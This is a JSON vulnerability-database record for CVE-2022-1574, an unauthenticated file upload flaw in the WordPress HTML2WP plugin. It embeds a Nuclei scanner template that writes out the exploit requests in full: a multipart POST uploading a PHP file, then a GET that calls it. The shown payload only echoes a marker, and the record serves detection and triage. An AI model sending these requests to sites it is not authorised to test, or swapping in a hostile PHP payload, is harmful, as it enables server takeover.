{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-1574/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-1574/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-1574/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-1574/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-1574/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-1574"},"sightings":{"href":"/api/v1/sightings/cve-2022-1574"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.12194,"kev":false,"percentile":0.95982},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-1574.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-1574\n\ninfo:\n  name: WordPress HTML2WP <=1.0.0 - Arbitrary File Upload\n  author: theamanrawat\n  severity: critical\n  description: |\n    WordPress HTML2WP plugin through 1.0.0 contains an arbitrary file upload vulnerability. The plugin does not perform authorization and CSRF checks when importing files and does not validate them. As a result, an attacker can upload arbitrary files on the remote server.\n  impact: |\n    An attacker can upload malicious files to the server, leading to remote code execution or unauthorized access.\n  remediation: |\n    Update to the latest version of the plugin or remove it if not needed.\n  reference:\n    - https://wpscan.com/vulnerability/c36d0ea8-bf5c-4af9-bd3d-911eb02adc14\n    - https://wordpress.org/plugins/html2wp/\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-1574\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-1574\n    cwe-id: CWE-352\n    epss-score: 0.12194\n    epss-percentile: 0.95982\n    cpe: cpe:2.3:a:html2wp_project:html2wp:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: html2wp_project\n    product: html2wp\n    framework: wordpress\n  tags: cve,cve2022,wp-plugin,wp,fileupload,unauth,wpscan,wordpress,intrusive,html2wp,html2wp_project,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin.php?page=html2wp-settings HTTP/1.1\n        Host: {{Hostname}}\n        Content-Length: 253\n        Content-Type: multipart/form-data; boundary=---------------------------7816508136577551742878603990\n        Connection: close\n\n        -----------------------------7816508136577551742878603990\n        Content-Disposition: form-data; name=\"local_importing[]\"; filename=\"{{randstr}}.php\"\n        Content-Type: text/html\n\n        <?php\n\n        echo \"File Upload success\";\n\n        -----------------------------7816508136577551742878603990--\n      - |\n        GET /wp-content/uploads/html2wp/{{randstr}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code_1 == 302\"\n          - \"status_code_2 == 200\"\n          - \"contains(body_2, 'File Upload success')\"\n        condition: and\n# digest: 4b0a00483046022100e7149283aad4471301819f4c17f76f521fffb121765db5215c417b4a23d873d60221009e505fa66c6d5113a5c8b49fc051ada41c2185c12106a0871b13cb3bd6a3c803:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2022-1574"}